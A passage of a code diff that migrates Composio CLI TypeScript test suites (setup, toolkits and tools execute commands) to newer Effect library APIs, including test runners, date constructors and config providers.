1170 + it.effect('fails when successful commands do not change native state', () =>
1171 Effect.gen(function* () {
1172 const exit = yield* Effect.exit(cli(['setup', '--target', 'claude', '--yes']));
1173 expect(Exit.isFailure(exit)).toBe(true);
@@ -1179,7 +1181,7 @@ describe('CLI: composio setup', () => {
1181 { failOn: 'plugin install' }
1182 );
1183 layer(TestLive({ commandRunner: failedInstall.runner }))('native install failure', it => {
1182 - it.scoped('preserves the structured setup process failure as the command cause', () =>
1184 + it.effect('preserves the structured setup process failure as the command cause', () =>
1185 Effect.gen(function* () {
1186 const exit = yield* Effect.exit(cli(['setup', '--target', 'claude', '--yes']));
1187 expect(Exit.isFailure(exit)).toBe(true);
@@ -1207,7 +1209,7 @@ describe('CLI: composio setup', () => {
1209 setupSkillInstaller: makeSkillInstaller(false, true),
1210 })
1211 )('skill install failure', it => {
1210 - it.scoped('fails instead of reporting readiness', () =>
1212 + it.effect('fails instead of reporting readiness', () =>
1213 Effect.gen(function* () {
1214 const exit = yield* Effect.exit(cli(['setup', '--target', 'claude', '--yes']));
1215 expect(Exit.isFailure(exit)).toBe(true);
ts/packages/cli/test/src/commands/setup.telemetry.cmd.test.ts
+12 -11
@@ -1,7 +1,6 @@
1 -import * as Command from '@effect/platform/Command';
2 -import * as CommandExecutor from '@effect/platform/CommandExecutor';
1 import { describe, expect, layer } from '@effect/vitest';
2 import { Effect, Exit } from 'effect';
3 +import { ChildProcess, ChildProcessSpawner } from 'effect/unstable/process';
4 import { afterEach, beforeEach, vi } from 'vitest';
5 import { CommandRunner } from 'src/services/command-runner';
6 import { SetupSkillInstaller } from 'src/services/setup-skill-installer';
@@ -85,10 +84,12 @@ const makeFakeHosts = (
84 };
85
86 const runner = CommandRunner.of({
88 - run: () => Effect.succeed(CommandExecutor.ExitCode(0)),
87 + run: () => Effect.succeed(ChildProcessSpawner.ExitCode(0)),
88 capture: rawCommand => {
90 - const flattened = Command.flatten(rawCommand)[0];
91 - const parts = [flattened.command, ...flattened.args];
89 + if (!ChildProcess.isStandardCommand(rawCommand)) {
90 + throw new Error('Expected a standard command');
91 + }
92 + const parts = [rawCommand.command, ...rawCommand.args];
93 const host = parts[0] as AgentHost;
94 const command = parts.join(' ');
95 const respond = (result: { exitCode?: number; stdout?: string; stderr?: string }) =>
@@ -189,7 +190,7 @@ describe('CLI: composio setup telemetry', () => {
190 setupSkillInstaller: makeSkillInstaller(),
191 })
192 )('fresh Claude install', it => {
192 - it.scoped('tracks per-host detection and a verified plugin install', () =>
193 + it.effect('tracks per-host detection and a verified plugin install', () =>
194 Effect.gen(function* () {
195 yield* cli(['setup', '--target', 'auto', '--yes']);
196
@@ -235,7 +236,7 @@ describe('CLI: composio setup telemetry', () => {
236 { codexVersion: 'codex-cli 0.137.0' }
237 );
238 layer(TestLive({ commandRunner: legacyCodex.runner }))('unsupported Codex only', it => {
238 - it.scoped('tracks the normalized reason code and the installer skip', () =>
239 + it.effect('tracks the normalized reason code and the installer skip', () =>
240 Effect.gen(function* () {
241 const exit = yield* Effect.exit(
242 cli(['setup', '--target', 'auto', '--yes', '--if-present'])
@@ -269,7 +270,7 @@ describe('CLI: composio setup telemetry', () => {
270
271 const noHosts = makeFakeHosts({});
272 layer(TestLive({ commandRunner: noHosts.runner }))('no detected host', it => {
272 - it.scoped('tracks the installer skip when nothing is detected', () =>
273 + it.effect('tracks the installer skip when nothing is detected', () =>
274 Effect.gen(function* () {
275 const exit = yield* Effect.exit(
276 cli(['setup', '--target', 'auto', '--yes', '--if-present'])
@@ -294,7 +295,7 @@ describe('CLI: composio setup telemetry', () => {
295 terminalUI: decliningUI,
296 })
297 )('declined interactive setup', it => {
297 - it.scoped('tracks user cancellation without mutating the host', () =>
298 + it.effect('tracks user cancellation without mutating the host', () =>
299 Effect.gen(function* () {
300 yield* cli(['setup', '--target', 'claude']);
301
@@ -323,7 +324,7 @@ describe('CLI: composio setup telemetry', () => {
324 terminalUI: decliningUI,
325 })
326 )('declined interactive uninstall', it => {
326 - it.scoped('tracks user cancellation for the uninstall operation', () =>
327 + it.effect('tracks user cancellation for the uninstall operation', () =>
328 Effect.gen(function* () {
329 yield* cli(['setup', '--uninstall', '--target', 'claude']);
330
@@ -351,7 +352,7 @@ describe('CLI: composio setup telemetry', () => {
352 setupSkillInstaller: makeSkillInstaller(),
353 })
354 )('native install failure', it => {
354 - it.scoped('tracks the per-host failure with its phase', () =>
355 + it.effect('tracks the per-host failure with its phase', () =>
356 Effect.gen(function* () {
357 const exit = yield* Effect.exit(cli(['setup', '--target', 'claude', '--yes']));
358 expect(Exit.isFailure(exit)).toBe(true);
ts/packages/cli/test/src/commands/toolkits/toolkits.info.cmd.test.ts
+21 -21
@@ -16,8 +16,8 @@ const testToolkits: Toolkits = [
16 meta: {
17 description: 'Email service to send and receive emails',
18 categories: [],
19 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
20 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
19 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
20 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
21 available_versions: ['20250101', '20250601', '20250909'],
22 tools_count: 36,
23 triggers_count: 2,
@@ -33,8 +33,8 @@ const testToolkits: Toolkits = [
33 meta: {
34 description: 'Execute code in a sandboxed environment',
35 categories: [],
36 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
37 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
36 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
37 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
38 available_versions: [],
39 tools_count: 1,
40 triggers_count: 0,
@@ -52,8 +52,8 @@ const detailedToolkits: ToolkitDetailed[] = [
52 meta: {
53 description: 'Email service to send and receive emails',
54 categories: [],
55 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
56 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
55 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
56 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
57 available_versions: ['20250101', '20250601', '20250909'],
58 tools_count: 36,
59 triggers_count: 2,
@@ -110,8 +110,8 @@ const detailedToolkits: ToolkitDetailed[] = [
110 meta: {
111 description: 'Execute code snippets',
112 categories: [],
113 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
114 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
113 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
114 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
115 available_versions: [],
116 tools_count: 5,
117 triggers_count: 0,
@@ -125,15 +125,15 @@ const toolkitsData = {
125 detailedToolkits,
126 } satisfies TestLiveInput['toolkitsData'];
127
128 -const testConfigProvider = ConfigProvider.fromMap(
129 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
130 -).pipe(extendConfigProvider);
128 +const testConfigProvider = ConfigProvider.fromEnv({
129 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
130 +}).pipe(extendConfigProvider);
131
132 describe('CLI: composio dev toolkits info', () => {
133 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
134 '[Given] valid slug "gmail"',
135 it => {
136 - it.scoped('shows detailed info with connection status', () =>
136 + it.effect('shows detailed info with connection status', () =>
137 Effect.gen(function* () {
138 yield* cli(['dev', 'toolkits', 'info', 'gmail']);
139 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -163,7 +163,7 @@ describe('CLI: composio dev toolkits info', () => {
163 )(
164 '[Given] no --user-id and no project test_user_id [Then] falls back to global test_user_id',
165 it => {
166 - it.scoped('uses global test user id for toolkit info', () =>
166 + it.effect('uses global test user id for toolkit info', () =>
167 Effect.gen(function* () {
168 yield* cli(['dev', 'toolkits', 'info', 'gmail']);
169 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -179,7 +179,7 @@ describe('CLI: composio dev toolkits info', () => {
179 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
180 '[Given] toolkit with no_auth=true',
181 it => {
182 - it.scoped('shows "no auth"', () =>
182 + it.effect('shows "no auth"', () =>
183 Effect.gen(function* () {
184 yield* cli(['dev', 'toolkits', 'info', 'codeinterpreter']);
185 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -197,7 +197,7 @@ describe('CLI: composio dev toolkits info', () => {
197 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
198 '[Given] --all flag',
199 it => {
200 - it.scoped('shows full auth config setup fields', () =>
200 + it.effect('shows full auth config setup fields', () =>
201 Effect.gen(function* () {
202 yield* cli(['dev', 'toolkits', 'info', 'gmail', '--all']);
203 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -216,9 +216,9 @@ describe('CLI: composio dev toolkits info', () => {
216 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
217 '[Given] invalid slug',
218 it => {
219 - it.scoped('shows error', () =>
219 + it.effect('shows error', () =>
220 Effect.gen(function* () {
221 - yield* cli(['dev', 'toolkits', 'info', 'gmal']).pipe(Effect.either);
221 + yield* cli(['dev', 'toolkits', 'info', 'gmal']).pipe(Effect.result);
222 const lines = yield* MockConsole.getLines({ stripAnsi: true });
223 const output = lines.join('\n');
224
@@ -231,9 +231,9 @@ describe('CLI: composio dev toolkits info', () => {
231 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
232 '[Given] invalid slug with substring match',
233 it => {
234 - it.scoped('shows error with hint', () =>
234 + it.effect('shows error with hint', () =>
235 Effect.gen(function* () {
236 - yield* cli(['dev', 'toolkits', 'info', 'gma']).pipe(Effect.either);
236 + yield* cli(['dev', 'toolkits', 'info', 'gma']).pipe(Effect.result);
237 const lines = yield* MockConsole.getLines({ stripAnsi: true });
238 const output = lines.join('\n');
239
@@ -247,7 +247,7 @@ describe('CLI: composio dev toolkits info', () => {
247 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
248 '[Given] no slug argument',
249 it => {
250 - it.scoped('shows missing argument warning with tip', () =>
250 + it.effect('shows missing argument warning with tip', () =>
251 Effect.gen(function* () {
252 yield* cli(['dev', 'toolkits', 'info']);
253 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -261,7 +261,7 @@ describe('CLI: composio dev toolkits info', () => {
261 );
262
263 layer(TestLive())('[Given] no API key', it => {
264 - it.scoped('warns user to login', () =>
264 + it.effect('warns user to login', () =>
265 Effect.gen(function* () {
266 yield* cli(['dev', 'toolkits', 'info', 'gmail']);
267 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/toolkits/toolkits.list.cmd.test.ts
+16 -16
@@ -16,8 +16,8 @@ const testToolkits: Toolkits = [
16 meta: {
17 description: 'Email service to send and receive emails',
18 categories: [],
19 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
20 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
19 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
20 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
21 available_versions: ['20250101', '20250909'],
22 tools_count: 36,
23 triggers_count: 2,
@@ -33,8 +33,8 @@ const testToolkits: Toolkits = [
33 meta: {
34 description: 'Messaging platform for teams',
35 categories: [],
36 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
37 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
36 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
37 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
38 available_versions: [],
39 tools_count: 42,
40 triggers_count: 5,
@@ -50,8 +50,8 @@ const testToolkits: Toolkits = [
50 meta: {
51 description: 'Code hosting and collaboration platform',
52 categories: [],
53 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
54 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
53 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
54 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
55 available_versions: ['20260101'],
56 tools_count: 50,
57 triggers_count: 10,
@@ -63,15 +63,15 @@ const toolkitsData = {
63 toolkits: testToolkits,
64 } satisfies TestLiveInput['toolkitsData'];
65
66 -const testConfigProvider = ConfigProvider.fromMap(
67 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
68 -).pipe(extendConfigProvider);
66 +const testConfigProvider = ConfigProvider.fromEnv({
67 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
68 +}).pipe(extendConfigProvider);
69
70 describe('CLI: composio dev toolkits list', () => {
71 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
72 '[Given] no flags [Then] lists all toolkits with unified table',
73 it => {
74 - it.scoped('lists all toolkits with catalog and connection columns', () =>
74 + it.effect('lists all toolkits with catalog and connection columns', () =>
75 Effect.gen(function* () {
76 yield* cli(['dev', 'toolkits', 'list']);
77 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -98,7 +98,7 @@ describe('CLI: composio dev toolkits list', () => {
98 )(
99 '[Given] no --user-id and no project test_user_id [Then] falls back to global test_user_id',
100 it => {
101 - it.scoped('shows connected column with global test user id', () =>
101 + it.effect('shows connected column with global test user id', () =>
102 Effect.gen(function* () {
103 yield* cli(['dev', 'toolkits', 'list']);
104 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -114,7 +114,7 @@ describe('CLI: composio dev toolkits list', () => {
114 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
115 '[Given] explicit --user-id [Then] shows connected status column',
116 it => {
117 - it.scoped('shows connected column with explicit user id', () =>
117 + it.effect('shows connected column with explicit user id', () =>
118 Effect.gen(function* () {
119 yield* cli(['dev', 'toolkits', 'list', '--user-id', 'default']);
120 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -130,7 +130,7 @@ describe('CLI: composio dev toolkits list', () => {
130 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
131 '[Given] --query "email"',
132 it => {
133 - it.scoped('shows filtered results', () =>
133 + it.effect('shows filtered results', () =>
134 Effect.gen(function* () {
135 yield* cli(['dev', 'toolkits', 'list', '--query', 'email']);
136 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -147,7 +147,7 @@ describe('CLI: composio dev toolkits list', () => {
147 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
148 '[Given] --limit 2',
149 it => {
150 - it.scoped('respects limit', () =>
150 + it.effect('respects limit', () =>
151 Effect.gen(function* () {
152 yield* cli(['dev', 'toolkits', 'list', '--limit', '2']);
153 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -160,7 +160,7 @@ describe('CLI: composio dev toolkits list', () => {
160 );
161
162 layer(TestLive())('[Given] no API key', it => {
163 - it.scoped('warns user to login', () =>
163 + it.effect('warns user to login', () =>
164 Effect.gen(function* () {
165 yield* cli(['dev', 'toolkits', 'list']);
166 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -172,7 +172,7 @@ describe('CLI: composio dev toolkits list', () => {
172 });
173
174 layer(TestLive({ baseConfigProvider: testConfigProvider }))('[Given] empty results', it => {
175 - it.scoped('shows no toolkits found', () =>
175 + it.effect('shows no toolkits found', () =>
176 Effect.gen(function* () {
177 yield* cli(['dev', 'toolkits', 'list']);
178 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/toolkits/toolkits.search.cmd.test.ts
+13 -13
@@ -16,8 +16,8 @@ const testToolkits: Toolkits = [
16 meta: {
17 description: 'Email service to send and receive emails',
18 categories: [],
19 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
20 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
19 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
20 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
21 available_versions: ['20250909'],
22 tools_count: 36,
23 triggers_count: 2,
@@ -33,8 +33,8 @@ const testToolkits: Toolkits = [
33 meta: {
34 description: 'Microsoft email service',
35 categories: [],
36 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
37 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
36 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
37 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
38 available_versions: [],
39 tools_count: 28,
40 triggers_count: 1,
@@ -50,8 +50,8 @@ const testToolkits: Toolkits = [
50 meta: {
51 description: 'Messaging platform for teams',
52 categories: [],
53 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
54 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
53 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
54 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
55 available_versions: ['20250101', '20260101'],
56 tools_count: 42,
57 triggers_count: 5,
@@ -63,15 +63,15 @@ const toolkitsData = {
63 toolkits: testToolkits,
64 } satisfies TestLiveInput['toolkitsData'];
65
66 -const testConfigProvider = ConfigProvider.fromMap(
67 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
68 -).pipe(extendConfigProvider);
66 +const testConfigProvider = ConfigProvider.fromEnv({
67 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
68 +}).pipe(extendConfigProvider);
69
70 describe('CLI: composio dev toolkits search', () => {
71 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
72 '[Given] query "email"',
73 it => {
74 - it.scoped('shows matching toolkits', () =>
74 + it.effect('shows matching toolkits', () =>
75 Effect.gen(function* () {
76 yield* cli(['dev', 'toolkits', 'search', 'email']);
77 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -89,7 +89,7 @@ describe('CLI: composio dev toolkits search', () => {
89 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
90 '[Given] query with no results',
91 it => {
92 - it.scoped('shows "No toolkits found"', () =>
92 + it.effect('shows "No toolkits found"', () =>
93 Effect.gen(function* () {
94 yield* cli(['dev', 'toolkits', 'search', 'xyzzy']);
95 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -104,7 +104,7 @@ describe('CLI: composio dev toolkits search', () => {
104 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
105 '[Given] --limit 1',
106 it => {
107 - it.scoped('respects limit', () =>
107 + it.effect('respects limit', () =>
108 Effect.gen(function* () {
109 yield* cli(['dev', 'toolkits', 'search', 'email', '--limit', '1']);
110 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -117,7 +117,7 @@ describe('CLI: composio dev toolkits search', () => {
117 );
118
119 layer(TestLive())('[Given] no API key', it => {
120 - it.scoped('warns user to login', () =>
120 + it.effect('warns user to login', () =>
121 Effect.gen(function* () {
122 yield* cli(['dev', 'toolkits', 'search', 'email']);
123 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/toolkits/toolkits.version.cmd.test.ts
+11 -11
@@ -21,8 +21,8 @@ const testToolkits: Toolkits = [
21 meta: {
22 description: 'Email service to send and receive emails',
23 categories: [],
24 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
25 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
24 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
25 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
26 available_versions: versionHistory,
27 tools_count: 36,
28 triggers_count: 2,
@@ -40,8 +40,8 @@ const detailedToolkits: ToolkitDetailed[] = [
40 meta: {
41 description: 'Email service to send and receive emails',
42 categories: [],
43 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
44 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
43 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
44 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
45 available_versions: versionHistory,
46 tools_count: 36,
47 triggers_count: 2,
@@ -55,9 +55,9 @@ const toolkitsData = {
55 detailedToolkits,
56 } satisfies TestLiveInput['toolkitsData'];
57
58 -const testConfigProvider = ConfigProvider.fromMap(
59 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
60 -).pipe(extendConfigProvider);
58 +const testConfigProvider = ConfigProvider.fromEnv({
59 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
60 +}).pipe(extendConfigProvider);
61
62 const parseLastJson = (lines: ReadonlyArray<string>) => {
63 for (let i = lines.length - 1; i >= 0; i -= 1) {
@@ -80,7 +80,7 @@ describe('CLI: composio dev toolkits version', () => {
80 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
81 '[Given] valid slug [Then] shows latest and last 20 versions',
82 it => {
83 - it.scoped('prints latest version and truncates to last 20', () =>
83 + it.effect('prints latest version and truncates to last 20', () =>
84 Effect.gen(function* () {
85 yield* cli(['dev', 'toolkits', 'version', 'gmail']);
86 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -103,9 +103,9 @@ describe('CLI: composio dev toolkits version', () => {
103 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
104 '[Given] invalid slug [Then] shows error and hint',
105 it => {
106 - it.scoped('prints fetch failure and browse hint', () =>
106 + it.effect('prints fetch failure and browse hint', () =>
107 Effect.gen(function* () {
108 - yield* cli(['dev', 'toolkits', 'version', 'unknown']).pipe(Effect.either);
108 + yield* cli(['dev', 'toolkits', 'version', 'unknown']).pipe(Effect.result);
109 const lines = yield* MockConsole.getLines({ stripAnsi: true });
110 const output = lines.join('\n');
111
@@ -117,7 +117,7 @@ describe('CLI: composio dev toolkits version', () => {
117 );
118
119 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
120 - it.scoped('warns user to login', () =>
120 + it.effect('warns user to login', () =>
121 Effect.gen(function* () {
122 yield* cli(['dev', 'toolkits', 'version', 'gmail']);
123 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/tools/tools.execute.cmd.test.ts
+93 -92
@@ -1,7 +1,6 @@
1 import * as fs from 'node:fs';
2 import * as os from 'node:os';
3 import * as path from 'node:path';
4 -import { HelpDoc, ValidationError } from '@effect/cli';
4 import { describe, expect, it, layer } from '@effect/vitest';
5 import { vi, beforeEach, afterEach } from 'vitest';
6 import { Config, ConfigProvider, DateTime, Effect, Option, Predicate } from 'effect';
@@ -13,10 +12,12 @@ import * as consumerShortTermCache from 'src/services/consumer-short-term-cache'
12 import * as composioClients from 'src/services/composio-clients';
13 import * as redactModule from 'src/ui/redact';
14 import { cli, TestLive, MockConsole } from 'test/__utils__';
15 +import { liveEnvConfigProvider } from 'test/__utils__/live-env-config-provider';
16 import type { TestLiveInput } from 'test/__utils__/services/test-layer';
17 import {
18 parseParallelExecuteArgs,
19 showToolsExecuteInputHelp,
20 + type ParallelExecuteArgumentError,
21 } from 'src/commands/tools/commands/tools.execute.cmd';
22 import { ComposioCliUserConfig } from 'src/services/cli-user-config';
23 import type { ToolkitDetailed } from 'src/models/toolkits';
@@ -34,40 +35,40 @@ vi.hoisted(() => {
35 delete process.env.CI;
36 });
37
37 -const testConfigProvider = ConfigProvider.fromMap(
38 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
39 -).pipe(extendConfigProvider);
38 +const testConfigProvider = ConfigProvider.fromEnv({
39 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
40 +}).pipe(extendConfigProvider);
41
41 -const runInvocationConfigProvider = ConfigProvider.fromMap(
42 - new Map([
43 - ['COMPOSIO_USER_API_KEY', 'test_api_key'],
44 - ['COMPOSIO_CLI_INVOCATION_ORIGIN', 'run'],
45 - ])
46 -).pipe(extendConfigProvider);
42 +const runInvocationConfigProvider = ConfigProvider.fromEnvRecord({
43 + COMPOSIO_USER_API_KEY: 'test_api_key',
44 + COMPOSIO_CLI_INVOCATION_ORIGIN: 'run',
45 +}).pipe(extendConfigProvider);
46
47 // Reuse the suite-managed cache directory for artifacts without exposing the
49 -// empty test cache as the CLI's authenticated config directory.
50 -const testArtifactConfigProvider = ConfigProvider.fromEnv().pipe(
51 - ConfigProvider.mapInputPath(key =>
52 - key === 'COMPOSIO_SESSION_DIR' ? 'COMPOSIO_CACHE_DIR' : `UNSET_${key}`
48 +// empty test cache as the CLI's authenticated config directory. Path
49 +// transformations apply innermost first, so this rename sees the bare key and
50 +// `extendConfigProvider` adds the `COMPOSIO_` prefix afterwards.
51 +const testArtifactConfigProvider = liveEnvConfigProvider.pipe(
52 + ConfigProvider.mapInput(configPath =>
53 + configPath.map(segment =>
54 + segment === 'SESSION_DIR'
55 + ? 'CACHE_DIR'
56 + : typeof segment === 'string'
57 + ? `UNSET_${segment}`
58 + : segment
59 + )
60 )
61 );
62
56 -const largeOutputConfigProvider = ConfigProvider.fromMap(
57 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
58 -).pipe(
59 - ConfigProvider.orElse(() => testArtifactConfigProvider),
60 - extendConfigProvider
61 -);
63 +const largeOutputConfigProvider = ConfigProvider.fromEnvRecord({
64 + COMPOSIO_USER_API_KEY: 'test_api_key',
65 +}).pipe(ConfigProvider.orElse(testArtifactConfigProvider), extendConfigProvider);
66
67 const expectInvalidValueMessage = (failure: unknown, message: string) => {
64 - expect(ValidationError.isValidationError(failure)).toBe(true);
65 - if (!ValidationError.isValidationError(failure)) return;
66 -
67 - expect(ValidationError.isInvalidValue(failure)).toBe(true);
68 - if (!ValidationError.isInvalidValue(failure)) return;
68 + expect(Predicate.isTagged(failure, 'commands/ParallelExecuteArgumentError')).toBe(true);
69 + if (!Predicate.isTagged(failure, 'commands/ParallelExecuteArgumentError')) return;
70
70 - expect(HelpDoc.toAnsiText(failure.error)).toContain(message);
71 + expect((failure as ParallelExecuteArgumentError).message).toContain(message);
72 };
73
74 const parseLastJson = (lines: ReadonlyArray<string>) => {
@@ -135,7 +136,7 @@ describe('CLI: composio execute', () => {
136 },
137 })
138 )('[Given] a local tool slug without auth [Then] it executes locally', it => {
138 - it.scoped('does not require login or Tool Router context', () =>
139 + it.effect('does not require login or Tool Router context', () =>
140 Effect.gen(function* () {
141 yield* cli(['execute', 'LOCAL_BEEPER_IMESSAGE_VERSION', '-d', '{ value: 1 }']);
142
@@ -166,7 +167,7 @@ describe('CLI: composio execute', () => {
167 },
168 })
169 )('[Given] an approval status [Then] execute includes it in the success line', it => {
169 - it.scoped('prints approval status before the log id', () =>
170 + it.effect('prints approval status before the log id', () =>
171 Effect.gen(function* () {
172 yield* cli([
173 'execute',
@@ -194,7 +195,7 @@ describe('CLI: composio execute', () => {
195 stdin: { isTTY: true, data: '' },
196 })
197 )('[Given] -d inline JSON [Then] executes via Tool Router with defaults', it => {
197 - it.scoped('executes via Tool Router with defaults', () =>
198 + it.effect('executes via Tool Router with defaults', () =>
199 Effect.gen(function* () {
200 yield* cli([
201 'execute',
@@ -236,7 +237,7 @@ describe('CLI: composio execute', () => {
237 )(
238 '[Given] a large execution response during composio run [Then] it stays inline instead of storing a temp file',
239 it => {
239 - it.scoped('returns the full JSON payload when invocation origin is run', () =>
240 + it.effect('returns the full JSON payload when invocation origin is run', () =>
241 Effect.gen(function* () {
242 yield* cli(['execute', 'GMAIL_SEND_EMAIL', '-d', '{"recipient":"a"}']);
243 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -329,7 +330,7 @@ describe('CLI: composio execute', () => {
330 },
331 })
332 )('[Given] default alias exists [Then] execute pins the default connected account', it => {
332 - it.scoped('passes connected_accounts with the default alias account', () =>
333 + it.effect('passes connected_accounts with the default alias account', () =>
334 Effect.gen(function* () {
335 yield* cli([
336 'execute',
@@ -417,7 +418,7 @@ describe('CLI: composio execute', () => {
418 },
419 })
420 )('[Given] --account selector [Then] execute pins the matched connected account', it => {
420 - it.scoped('matches even when a stale config disables the former experiment', () =>
421 + it.effect('matches even when a stale config disables the former experiment', () =>
422 Effect.gen(function* () {
423 const cliConfig = yield* ComposioCliUserConfig;
424 yield* cliConfig.update({
@@ -440,7 +441,7 @@ describe('CLI: composio execute', () => {
441 })
442 );
443
443 - it.scoped('applies a trailing account selector to the current parallel tool only', () =>
444 + it.effect('applies a trailing account selector to the current parallel tool only', () =>
445 Effect.gen(function* () {
446 yield* cli([
447 'execute',
@@ -543,7 +544,7 @@ describe('CLI: composio execute', () => {
544 },
545 })
546 )('[Given] a multi-word toolkit [Then] execute resolves it from the known toolkit list', it => {
546 - it.scoped('pins the google_analytics connected account for GOOGLE_ANALYTICS_RUN_REPORT', () =>
547 + it.effect('pins the google_analytics connected account for GOOGLE_ANALYTICS_RUN_REPORT', () =>
548 Effect.gen(function* () {
549 yield* cli([
550 'execute',
@@ -561,7 +562,7 @@ describe('CLI: composio execute', () => {
562 })
563 );
564
564 - it.scoped('pins the microsoft_teams connected account for MICROSOFT_TEAMS_SEND_MESSAGE', () =>
565 + it.effect('pins the microsoft_teams connected account for MICROSOFT_TEAMS_SEND_MESSAGE', () =>
566 Effect.gen(function* () {
567 yield* cli([
568 'execute',
@@ -632,7 +633,7 @@ describe('CLI: composio execute', () => {
633 )(
